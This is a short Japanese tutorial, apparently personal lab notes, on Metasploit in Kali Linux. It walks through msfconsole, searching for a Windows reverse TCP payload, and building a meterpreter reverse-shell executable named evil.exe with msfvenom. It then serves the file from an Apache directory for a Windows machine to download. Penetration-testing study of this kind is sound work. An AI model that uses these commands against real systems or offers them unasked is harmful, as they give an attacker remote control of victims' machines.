Metasploit Flamework

Metasploit Flamework

KaliLinux には 
Metasploit がインストールされているので

msfconsole 

を実行すると
msf コンソールが起動して利用することができる

msf5 > 

となっていれば起動成功

この状態で

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と入力するとランダムでアスキーアートが表示される

show -h

でヘルプの表示

show exploits 

で Metasploit で使用できる Exploit が表示される

Metasploit に含まれるモジュールを実行するにはパスが必要

これには seach コマンドでパスの検索ができる

Windows 向け
TPC リバースシェル
ペイロード
という条件で探すなら

search type:payload reverse_tcp platform:windows

というようになる

次にペイロードの作成

これは
msfvenom コマンドを使う

このコマンドのオプションについては
https://ko-tech.net/hack/metasploit.html
を参考に

今回使用したオプションは
p ペイロードのパス
f 出力ファイル形式
o 出力ファイルパス
LHOST 接続先のIPアドレス

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.134 -f exe -o /root/Desktop/evil.exe

を実行すると
デスクトップに eveil.exe が作成される

つぎに
Windows からブラウザでこのペイロードにアクセスできるようにする

別の Terminal を ctrl + alt + t で開き

cd /var/www/html/
mkdir share
cp /root/Desktop/evil.exe share/
chmod -R 755 share/


share ディレクトリを作成し、ここへ evil.exe をコピーし
アクセス権限を変更

service apache2 restart 

でwebサーバーを再起動

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